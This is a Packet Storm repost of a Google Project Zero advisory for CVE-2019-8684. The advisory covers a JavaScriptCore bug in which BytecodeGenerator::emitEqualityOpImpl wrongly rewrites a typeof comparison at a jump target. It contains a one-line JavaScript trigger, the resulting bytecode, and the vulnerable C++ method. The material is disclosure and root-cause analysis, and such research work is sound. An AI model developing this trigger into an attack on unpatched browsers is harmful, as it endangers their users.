exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JSC BytecodeGenerator::emitEqualityOpImpl Data Mishandling

JSC BytecodeGenerator::emitEqualityOpImpl Data Mishandling
Posted Jul 30, 2019
Authored by Google Security Research, lokihardt

JSC suffers from a data mishandling bug in ytecodeGenerator::emitEqualityOpImpl.

tags | exploit
advisories | CVE-2019-8684
SHA-256 | 8bea8fb18d0ac7ce60485d227dcad33f12182219301a7157fc251e6f00c07bfb

JSC BytecodeGenerator::emitEqualityOpImpl Data Mishandling

Change Mirror Download
JSC: A bug in BytecodeGenerator::emitEqualityOpImpl 

Related CVE Numbers: CVE-2019-8684.


PoC:
let a = (1 || typeof 1) === 'string';

Generated bytecode:
<global>#BPmgTo:[0x7ff1965a0000->0x7ff1965a8000, NoneGlobal, 37]: 11 instructions (0 wide instructions, 2 instructions with metadata); 225 bytes (188 metadata bytes); 1 parameter(s); 10 callee register(s); 6 variable(s); scope at loc4
[ 0] enter
[ 1] get_scope loc4
[ 3] mov loc5, loc4
[ 6] check_traps
[ 7] mov loc6, Undefined(const0)
[ 10] resolve_scope loc7, loc4, 0, GlobalProperty, 0
[ 17] mov loc8, Int32: 1(const1)
[ 20] jtrue loc8, 6(->26)
[ 23] is_cell_with_type loc8, Int32: 1(const1), StringType
[ 27] put_to_scope loc7, 0, loc8, 1048576<DoNotThrowIfNotFound|GlobalProperty|Initialization>, 0, 0
[ 35] end loc6

Identifiers:
id0 = a

Constants:
k0 = Undefined
k1 = Int32: 1: in source as integer
k2 = String (atomic) (identifier): string, StructureID: 9553

Here the jtrue instruction is pointing somewhere in the middle of the is_cell_with_type instruction. This is due to the bug in BytecodeGenerator::emitEqualityOpImpl which doesn't consider the case where m_lastOpcodeID is op_end which can indicate that the current position is a jump target. As a result, the method replaced wrongly the typeof instruction with the is_cell_with_type instruction.

Vulnerable method:
bool BytecodeGenerator::emitEqualityOpImpl(RegisterID* dst, RegisterID* src1, RegisterID* src2)
{
if (m_lastInstruction->is<OpTypeof>()) {
auto op = m_lastInstruction->as<OpTypeof>();
if (src1->index() == op.m_dst.offset()
&& src1->isTemporary()
&& m_codeBlock->isConstantRegisterIndex(src2->index())
&& m_codeBlock->constantRegister(src2->index()).get().isString()) {
const String& value = asString(m_codeBlock->constantRegister(src2->index()).get())->tryGetValue();
if (value == \"undefined\") {
rewind();
OpIsUndefined::emit(this, dst, op.m_value);
return true;
}
if (value == \"boolean\") {
rewind();
OpIsBoolean::emit(this, dst, op.m_value);
return true;
}
if (value == \"number\") {
rewind();
OpIsNumber::emit(this, dst, op.m_value);
return true;
}
if (value == \"string\") {
rewind();
OpIsCellWithType::emit(this, dst, op.m_value, StringType);
return true;
}
if (value == \"symbol\") {
rewind();
OpIsCellWithType::emit(this, dst, op.m_value, SymbolType);
return true;
}
if (Options::useBigInt() && value == \"bigint\") {
rewind();
OpIsCellWithType::emit(this, dst, op.m_value, BigIntType);
return true;
}
if (value == \"object\") {
rewind();
OpIsObjectOrNull::emit(this, dst, op.m_value);
return true;
}
if (value == \"function\") {
rewind();
OpIsFunction::emit(this, dst, op.m_value);
return true;
}
}
}

return false;
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: lokihardt@google.com

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close